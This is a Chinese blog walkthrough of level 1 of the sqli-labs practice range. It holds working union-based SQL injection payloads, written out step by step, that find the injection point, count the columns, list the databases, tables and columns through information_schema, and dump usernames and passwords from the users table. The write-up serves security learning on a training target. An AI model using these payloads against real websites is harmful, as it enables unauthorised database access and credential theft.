目录

一、判断是否存在注入点

二、构造类似?id=1' --+的语句

三、判断数据表中的列数

四、使用union联合查询

五、使用group_concat()函数

六、爆出数据库中的表名

七、爆出users表中的列名

八、爆出users表中的数据

---

🌈嗨！我是Filotimo__🌈。很高兴与大家相识，希望我的博客能对你有所帮助。

🎁欢迎大家给我点赞👍、收藏⭐️，并在留言区📝与我互动，这些都是我前进的动力！

🌟我的格言：森林草木都有自己认为对的角度🌟。

打开 sqli靶场第一关，以下是通关思路：

一、判断是否存在注入点

首先进行初步的试探，构造?id=1 and 1=1，页面正常

构造?id=1 and 1=2，页面正常

继续构造?id=1' and '1'='1，页面正常

构造?id=1' and '1'='2 ，页面无回显，判断为字符型注入。

二、构造类似?id=1' --+的语句

构造类似?id=1' --+的语句，我们可以在 ?id=1' 和 --+ 中间插入select语句，进行我们想要的操作。

在这个注入尝试中，' 是一个闭合单引号，用于关闭原始的查询语句中的引号，并添加注释符 -- 来注释掉后续的语句。+ 是空格的URL编码表示，用于在URL中表示空格。

三、判断数据表中的列数

这一步是为了使用union联合查询。

构造?id=1' order by 5 --+，出现如图回显，说明5超出了数据表中列的范围

构造?id=1' order by 4 --+，仍然超出

构造?id=1' order by 3 --+，正常回显，说明当前表只有3列

四、使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列，列的数据类型必须兼容。

构造如下语句：

?id=1' union select 1,2,schema_name from information_schema.schemata--+

后来发现只回显了数据库的第一行

继续构造

?id=' union select 1,2,schema_name from information_schema.schemata--+

这里去掉了id=1'中的1，使其为空。结果是我们终于回显出了数据库名

五、使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数，用于将多行数据按照指定的分隔符连接为一个字符串。

这里我们可以使用group_concat()函数，一次性的把库名显示出来：

?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

六、爆出数据库中的表名

我们可以爆出数据库中的表名了，这里以information_schema为例

构造如下语句：

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

七、爆出users表中的列名

构造如下语句获得users表中的列名：

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

八、爆出users表中的数据

我们还能继续获得信息

（1）查看users表中所有的用户：

?id=' union select 1,2,group_concat(username) from security.users --+

（2）查看users表中所有的用户密码：

?id=' union select 1,2,group_concat(password) from security.users --+

（3）concat_ws(':',A,B)函数拼接信息：

这里可以用concat_ws(':',A,B)函数，拼接用户名和密码，使其成对出现

?id=' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

sqli靶场第一关通关思路到此结束